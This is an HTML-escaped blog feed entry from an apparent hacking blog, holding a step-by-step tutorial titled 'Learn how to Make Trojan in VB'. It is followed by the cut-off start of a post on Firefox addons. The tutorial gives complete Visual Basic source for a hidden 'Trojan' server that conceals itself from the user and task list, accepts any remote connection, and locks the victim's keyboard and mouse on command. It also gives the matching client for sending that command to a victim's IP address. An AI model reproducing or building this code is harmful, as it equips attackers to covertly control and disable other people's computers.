&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Code: VB&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub Form_Load()&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Me.Visible = False&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;App.TaskVisible = False&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Code: VB&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub Form_Load()&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Me.Visible = False&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;App.TaskVisible = False&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.LocalPort = 2999&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.RemotePort = 455&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.Listen&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;To do this little devious thing we need to add a module with the following code&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Public Declare Function BlockInput Lib &quot;user32&quot; (ByVal fBlock As Long) As Long&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Then we add this code to our main form:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Code: VB&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub win_ConnectionRequest(ByVal requestID As Long)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.Close&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.Accept requestID&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub win_DataArrival(ByVal bytesTotal As Long)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; win.GetData GotDat&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; DoActions (GotDat)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Code: VB&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Public Function DoActions(x As String)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Dim Action&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Select Case x&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Case &quot;block&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Action = BlockInput(True)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;End Select&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Function&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Main Form&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Code: VB&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub Form_Load()&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Me.Visible = False&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;App.TaskVisible = False&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.LocalPort = 2999&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.RemotePort = 455&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.Listen&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub win_ConnectionRequest(ByVal requestID As Long) &#39; As corrected by Darkness1337&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.Close&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.Accept requestID&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub win_DataArrival(ByVal bytesTotal As Long)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;win.GetData GotDat&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;DoActions (GotDat)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Remember to add your winsock control and name it to win if you use this code.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Code: VB&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Module&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Public Declare Function BlockInput Lib &quot;user32&quot; (ByVal fBlock As Long) As Long &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Public Function DoActions(x As String)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Dim Action&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Select Case x&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Case &quot;block&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Action = BlockInput(True)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;End Select&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Function&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;That’s all there is to the server side or Trojan part of it. Now on to the Client.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Client&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Make a form and add a Winsock Control, a text box, and three buttons. The Text box&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Code: VB&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub cmdConnect_Click()&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;IpAddy = txtIp.Text&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Win.Close&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Win.RemotePort = 2999&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Win.RemoteHost = IpAddy&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Win.LocalPort = 9999&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Win.Connect&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;cmdConnect.Enabled = False&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub cmdDisconnect_Click()&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Win.Close&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;cmdConnect.Enabled = True&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub cmdBlockInput_Click()&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Win.SendData &quot;block&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Do post in your comments for any Queries&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Posted By :-&amp;nbsp;|-|A|_F B|_00d Pr|nCe&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/3019745363268400345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/12/learn-how-to-make-trojan-in-vb-code.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/3019745363268400345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/3019745363268400345'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/12/learn-how-to-make-trojan-in-vb-code.html' title='Learn how to Make Trojan in VB (Code)'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-6983626359053970175</id><published>2011-11-26T00:14:00.001+05:30</published><updated>2011-11-26T02:15:26.634+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Firefox"/><title type='text'>SOME IMPORTANT FIREFOX ADDONS  FOR DEVELOPMENT &amp; SECURITY .</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAlREsi3UololgnLPNPkKKkc8YubryICKYuiSQxjU3wk72HM4aqqMrnHX9MrRwdPeEjf-cq_pJJlgNiIjPFX6eA8TSGYtBKtND4b2cCXazSXXL_rDJCCkkiGXznqdzgWeIL3m45t3pk6Fc/s1600/images.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAlREsi3UololgnLPNPkKKkc8YubryICKYuiSQxjU3wk72HM4aqqMrnHX9MrRwdPeEjf-cq_pJJlgNiIjPFX6eA8TSGYtBKtND4b2cCXazSXXL_rDJCCkkiGXznqdzgWeIL3m45t3pk6Fc/s1600/images.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Well, according to the latest survey firefox is the second most used browser in the world. chrome is definitely catching up. And to be very frank , its the browser of my choice:D (&lt;br /&gt;
